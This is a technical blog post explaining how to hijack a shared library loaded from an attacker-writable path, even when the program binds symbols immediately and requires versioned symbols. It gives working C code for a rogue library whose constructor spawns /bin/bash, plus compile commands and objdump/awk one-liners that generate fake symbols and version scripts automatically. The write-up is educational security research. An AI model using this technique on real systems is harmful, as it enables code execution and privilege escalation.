Andrea Cardaci — 01 March 2018
Imagine a vulnerable program that loads its shared libraries from a relative location (or any other path that is writable by the attacker), the common trick is to craft a shared library having the same name as one of those required by the program and include an initializer function that, say, drops a shell as soon as the library is loaded.
This works nicely if the program resolves the symbols lazily (the default), i.e., according to the program flow and not at loading time.
If that’s not the case, the above attack is not feasible as the program expects all the known symbols to be present in the rogue library too1.
As a bonus annoyance the program may expect to find version information attached to the symbols of a shared library, otherwise warnings are generated by the dynamic linker at runtime.
Let’s start by writing a dummy vulnerable program containing all the tricks highlighted so far. The library exports a function that simply greets the caller:
/* shared.c */
#include <stdio.h>
void greet() {
printf("hello!\n");
}
While the program simply calls it:
/* main.c */
void greet();
int main() {
greet();
return 0;
}
In compiling the shared library we must add version information, this can be accomplished by creating a version script file2 like the following:
/* shared.version */
SHARED_1.0 {
*;
};
And compiling with:
$ gcc -fPIC -shared -Wl,--version-script=shared.version shared.c -o libshared.so
This basically tells the compiler to assign the SHARED_1.0
version name to all the exported symbols in the library. We can check by inspecting the library with objdump
:
$ objdump -j .text -T libshared.so
libshared.so: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000710 g DF .text 0000000000000012 SHARED_1.0 greet
The program itself can be compiled with3:
$ gcc -L. -Wl,-rpath,. -Wl,-z,now -lshared main.c -o main
Relevant bits are:
-rpath,.
that sets the runtime library search path (RPATH
) to the working directory from where the program has been run (for the sake of the example);
-z,now
that enables immediate binding.
Again, objdump
allows to check that everything is as expected:
$ objdump -x main | grep 'BIND_NOW\|RPATH'
RPATH .
BIND_NOW 0x0000000000000000
The simplest attempt to override libshared.so
requires to write something like this:
/* override.c */
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
void shell() {
printf("Starting a new shell...\n");
execl("/bin/bash", "/bin/bash", NULL);
}
If we compile the above with:
$ gcc -fPIC -shared override.c -o libshared.so
And run the program from the same directory we obtain the following errors:
$ ./main
./main: ./libshared.so: no version information available (required by ./main)
./main: relocation error: ./main: symbol greet, version SHARED_1.0 not defined in file libshared.so with link time reference
As previously mentioned: a warning about the lack of version information, a relocation error and our payload is not executed.
Since the error is about not finding the greet
symbol, one could simply create a dummy symbol with that name within the override library. The actual type of the symbol is not important since we plan to run our initializer (that doesn’t return) even before the actual program starts.
So just adding, for example, int greet;
to override.c
is enough for the linker which now runs our initializer:
$ ./main
./main: ./libshared.so: no version information available (required by ./main)
Starting a new shell...
$ echo $SHLVL
2
This is a minor point, but for the sake of completeness one could wonder how to remove the version information warning. Apparently, with the compilation settings we used, ld
simply checks that the version name appears in the library4, it doesn’t check that every symbol exhibits the right value, so passing the following version script to the linker is enough:
/* override.version */
SHARED_1.0 {};
Compile as usual with:
$ gcc -fPIC -shared override.c -Wl,--version-script=override.version -o libshared.so
Notice how the warning is gone:
$ ./main
Starting a new shell...
$ echo $SHLVL
2
Real-life shared libraries contains many symbols and possibly multiple versions, so a manual approach is not feasible. Fortunately the process can be pretty easily scripted provided that either the target program or shared library is available.
The additional symbol definitions can be obtained with:
$ objdump -j .text -T libshared.so | awk 'NF == 7 { printf "int %s;\n", $7 }' | tee symbols.h
int greet;
Similarly for the version script:
$ objdump -j .text -T libshared.so | awk 'NF == 7 { printf "%s {};\n", $6 }' | sort -u | tee override.version
SHARED_1.0 {};
Now simply add #include "symbols.h"
to override.c
and compile as before.
The same information can be similarly extracted from the program executable by looking up the undefined symbols.
Note that the above doesn’t apply if the shared library is loaded with dlopen
using the RTLD_NOW
option because the program doesn’t have any compile-time knowledge of the symbols imported in that case. ↩
It is likewise possible to avoid compiler options and run the program with the LD_BIND_NOW=0
and LD_LIBRARY_PATH=.
environment variables set instead. ↩
Using the -Wl,--default-symver
option is not enough, rather, it causes a fatal runtime error. ↩